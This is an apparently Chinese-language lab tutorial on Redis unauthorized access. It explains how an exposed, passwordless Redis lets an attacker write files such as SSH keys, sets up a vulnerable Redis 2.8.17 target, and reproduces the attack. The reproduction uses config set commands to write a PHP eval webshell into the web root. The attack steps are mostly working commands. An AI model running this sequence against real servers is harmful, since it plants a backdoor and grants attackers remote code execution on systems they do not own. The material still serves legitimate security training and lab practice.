redis未授权访问介绍:
redis 默认情况下,绑定在 0.0.0.0:6379,若没有采用相关的策略,如添加防火墙规则避免其他非信任来源 ip 访问等,会将 redis 服务暴露到公网上。如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 redis 以及读取 redis 的数据。攻击者在未授权访问 redis 的情况下,利用 redis 自身的提供的config 命令,可以进行写文件操作,从而可以将自己编写生成的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而使用对应私钥通过ssh服务登录目标服务器。
redis靶场搭建
1、下载
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
2、解压编译
tar xzvf redis-2.8.17.tar.gz #解压安装包
cd redis-2.8.17 # 进入redis目录
3、make #编译
4、配置及启动
cd src/ #进入src目录
cp redis-server /usr/bin/
cp redis-cli /usr/bin/ #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
cd .. # 返回上一级目录
cp redis.conf /etc/ #将redis.conf拷贝到/etc/目录下
redis-server /etc/redis.conf # 使用/etc/目录下的redis.conf文件中的配置启动redis服务
cd redis-2.8.17
cd src
验证漏洞是否存在
./redis-cli -h 靶机ip
漏洞复现
在/var目录下创建目录,并在redis输入命令
1)mkdir -p /var/www/html/ # 在非进入redis服务器的终端执行
2)config set dir /var/www/html/ # 设置webshell的存储目录
3)config set dbfilename system.php # 设置webshell的文件名
4)set shell "\r\n\r\n<?php @eval($_POST[cmd]);?>\r\n\r\n" # 将一句话木马写入system.php文件中
5)save # 保存
验证是否成功
我们通过时间对比发现写入成功